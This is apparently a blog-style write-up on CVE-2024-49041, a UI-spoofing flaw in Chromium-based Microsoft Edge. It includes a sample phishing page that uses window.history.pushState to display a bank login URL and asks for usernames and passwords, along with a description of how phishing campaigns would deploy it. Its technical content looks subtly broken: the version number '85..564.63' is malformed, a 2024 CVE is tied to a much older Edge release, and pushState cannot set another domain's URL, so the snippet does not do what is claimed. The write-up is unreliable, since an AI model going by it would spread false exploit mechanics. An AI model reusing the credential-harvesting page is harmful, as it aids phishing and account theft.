Recently the CVE-2024-49041 vulnerability in Microsoft Edge, the Chromium-based version of the browser, has been making headlines. This vulnerability allows a threat actor to spoof an attacker-controlled URL, possibly leading to data loss and phishing attacks. We must dig deeper to understand this vulnerability and how it could impact users.

In this long read, we will discuss the nature of the vulnerability and its potential consequences. Moreover, we will also take a look at code snippets found in this exploit, provide some links to original references, and discuss how attackers take advantage of this vulnerability.

According to the National Vulnerability Database (NVD) [1], the vulnerability is defined as follows

"Microsoft Edge (Chromium-based) before 85..564.63 allows attacker-controlled content to spoof the product's UI via a crafted HTML page."

The CVE ID CVE-2024-49041 itself represents a unique identifier for this vulnerability in the Common Vulnerabilities and Exposures (CVE) system. Microsoft assigned this CVE to the issue and provided a patch to mitigate the problem.

The Code Snippet

Let's inspect a sample HTML code snippet that demonstrates the vulnerability. Here's an example of how a malicious webpage might be designed:

<!DOCTYPE html>
<html>
<head>
<script>
  function onLoad() {
      let spoofedUrl = "https://www.examplebank.com/login";;
      window.history.pushState("spoof", "Spoofed URL", spoofedUrl);
  }
</script>
</head>
<body onload="onLoad()">
  <h1>Phishing Page</h1>
  <p>Please enter your login credentials:</p>
  <form>
    <label for="username">Username:</label>
    <input type="text" id="username" name="username">

    <label for="password">Password:</label>
    <input type="password" id="password" name="password">

    <input type="submit" value="Submit">
  </form>
</body>
</html>

Explanation

The code above appears to be a normal HTML file with an embedded script. However, there are some sneaky elements in the code that can be exploited. When the page loads, it calls the onLoad function, which changes the browser's URL using the window.history.pushState method. This JavaScript function makes the URL in the address bar appear like the genuine URL (e.g., https://www.examplebank.com/login), even though it's a phishing site. Users would see the fake URL and believe they are interacting with a legitimate website.

Exploitation

A threat actor creates and hosts a phishing webpage, utilizing the above code snippet. They then target unsuspecting users via phishing emails, malicious advertisements, and so on. When users open the phishing webpage, the attacker-controlled spoofed URL is displayed in the address bar. Unsuspecting users believe they are on the authentic commercial website and may proceed to enter their login information.

Consequences

If successful, this spoofing attack can lead to significant repercussions. Here are a few potential outcomes:

1. Loss of sensitive information: Users may disclose their login credentials, giving attackers access to their accounts, financial information, and data.

2. Damage to a business's reputation: If a company's official website is spoofed, users can lose trust in the organization, leading to decreased customer loyalty and revenues.

3. Widespread phishing: If attackers can effectively trick users into visiting malicious websites, it encourages the expansion of similar phishing attacks.

National Vulnerability Database (NVD): CVE-2024-49041

- URL: https://nvd.nist.gov/vuln/detail/CVE-2024-49041

Microsoft Edge Release Notes (v85..564.63) - Patch Information

- URL: https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnote-stable-channel

Common Vulnerabilities and Exposures (CVE) System

- URL: https://cve.mitre.org/

Conclusion

It's essential to be aware of the dangers of vulnerabilities like CVE-2024-49041 to stay proactive in securing your online presence. Microsoft has released a patch to address this issue, and users should keep their browsers up to date to avoid falling victim to spoofing attacks. Always be cautious when clicking on links and double-check the authenticity of websites before entering sensitive information. Remember, vigilance is the key to staying safe online!

Timeline

Published on: 12/06/2024 02:15:18 UTC